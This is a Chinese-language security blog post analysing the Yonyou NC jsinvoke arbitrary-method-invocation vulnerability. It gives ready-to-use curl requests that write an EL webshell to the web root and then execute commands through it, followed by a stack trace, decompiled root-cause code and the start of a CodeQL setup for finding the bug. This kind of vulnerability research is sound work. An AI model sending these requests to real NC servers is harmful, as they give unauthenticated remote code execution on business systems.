用友 NC Jsinvoke 漏洞

警告
本文最后更新于 2023-09-14,文中内容可能已过时。

用友 NC Jsinvoke 漏洞

NC 6.5:
http://ip/uapjs/jsinvoke/?action=invoke

NC Cloud:
http://ip/portal/jsinvoke/?action=invoke
  • NCC
curl -i -H "Content-Type: application/json" -X POST -d '{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/webshell.jsp"]}' http://127.0.0.1:8088/portal/jsinvoke/?action=invoke
  • NC 6.5
curl -i -H "Content-Type: application/json" -X POST -d '{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/webshell.jsp"]}' http://127.0.0.1:80/uapjs/jsinvoke/?action=invoke
curl -i -X POST -d 'cmd=Runtime.getRuntime().exec("touch /tmp/success")' http://127.0.0.1:8088/webshell.jsp?error=bsh.Interpreter
saveXStreamConfig:115, BaseSPService (nc.bs.iufo.base)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:44, MethodInvocation (nc.bs.framework.js.rmi)
handleMethodInvocation:24, MethodInvocationHandler (nc.bs.framework.js.rmi)
execute:67, InvokeCommand (nc.bs.framework.js.command)
invoke:26, InternalJsInvokeServlet (nc.bs.framework.js.servlet)
service:38, InternalJsInvokeServlet (nc.bs.framework.js.servlet)
service:722, HttpServlet (javax.servlet.http)
service:37, JsInvokeServlet (nc.bs.framework.js.servlet)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
run:277, SecurityUtil$1 (org.apache.catalina.security)
run:1, SecurityUtil$1 (org.apache.catalina.security)
doPrivileged:-1, AccessController (java.security)
doAsPrivileged:536, Subject (javax.security.auth)
execute:309, SecurityUtil (org.apache.catalina.security)
doAsPrivilege:169, SecurityUtil (org.apache.catalina.security)
internalDoFilter:299, ApplicationFilterChain (org.apache.catalina.core)
access$0:214, ApplicationFilterChain (org.apache.catalina.core)
run:193, ApplicationFilterChain$1 (org.apache.catalina.core)
run:1, ApplicationFilterChain$1 (org.apache.catalina.core)
doPrivileged:-1, AccessController (java.security)
doFilter:188, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:310, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:722, Thread (java.lang)

InvokeCommand 类的 execute 方法,存在执行任意类方法的漏洞。

Gson gson = builder.create();
MethodInvocation invocation = (MethodInvocation)gson.fromJson(this.data, MethodInvocation.class);
MethodInvocationHandler handler = new MethodInvocationHandler();

try {
    Object obj = handler.handleMethodInvocation(invocation); <----
    if (obj != null) {
        String j = GsonUtil.getSerializerGson().toJson(obj, rt);
        response.setCharacterEncoding("utf-8");
        response.getWriter().write(j);
        response.flushBuffer();
    }

调用到 handleMethodInvocation 方法,invoke 调用进入 MethodInvocationinvoke 方法,实际上是反射调用任意类方法。

    public Object invoke(Object implementation) throws Throwable {
        Method method = null;
        method = this.getMethod(implementation.getClass());
        Object result = method.invoke(implementation, this.parameters.toArray()); <----
        return result;
    }

也就是说,这个 PoC 利用了一个 jsinvoke 处理类下的一个方法的任意方法调用的漏洞,接着调用到 BaseSPService 类的 saveXStreamConfig 方法。

fos = new FileOutputStream(file, false);
writer = new OutputStreamWriter(fos, Charset.forName("UTF-8"));
writer.write("<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n");
getXStream().toXML(config, writer);

这里有个细节是利用这个方法写文件是会被过滤一些字符的,例如正常 JSP 文件中的 <,所以这个 PoC 利用写了一个 EL 的 Webshell 来作为内容。

${param.getClass().forName(param.error).newInstance().eval(param.cmd)}

另外,这个 Webshell NC 6.5 是无法使用的,猜测是因为 NC 6.5 使用的 Tomcat 版本是很低的,无法使用这个 EL 的 Webshell。

image-20230914171953993

image-20230914172111900

看 Codeql 是否可以挖掘出这个任意方法执行的漏洞,更甚者是否可以挖掘出这个文件写的整个利用链。

由于 NC 的 JAR 包过多,所以首先缩小范围收集到本次漏洞相关的两个文件夹下的 JAR 文件拿来制库。以调用链为参考,只取和本漏洞有关的 JAR 文件目录,具体有以下两个。

modules/aert/lib/
modules/uapfw/lib/

具体 JAR 文件如下:

qax@localhost ~/Analyse> ls jsinvoke_jar/
pubaert_commonLevel-1.jar   pubaert_ziorLevel-1.jar         uapfw_lightschedulerLevel-1.jar  wss4j-1.5.4.jar
pubaert_olapLevel-1.jar     uapfw_dbcacheLevel-1.jar        uapfw_scheduleengineLevel-1.jar
pubaert_queryLevel-1.jar    uapfw_jdbcframeworkLevel-1.jar  uapfw_wsframeworkLevel-1.jar
pubaert_serviceLevel-1.jar  uapfw_jsframeworkLevel-1.jar    wsdl4j-1.6.1.jar

建库的所有操作都要在 Linux 下进行,Win 下会出现各种非预期问题。

反编译所有的 JAR 文件到一个文件夹下,包含所有的依赖 JAR。(或者挑选所辖范围之后的 所有 JAR 文件)

java -jar procyon-decompiler-0.6.0.jar  jsinvoke_jar/* -o jsinvoke_de/
python3.8 ./extractor/extractor-java-master/run.py jsinvoke_db ./jsinvoke_de/

完成后导入到 VSCode 分析,使用如下查询查询。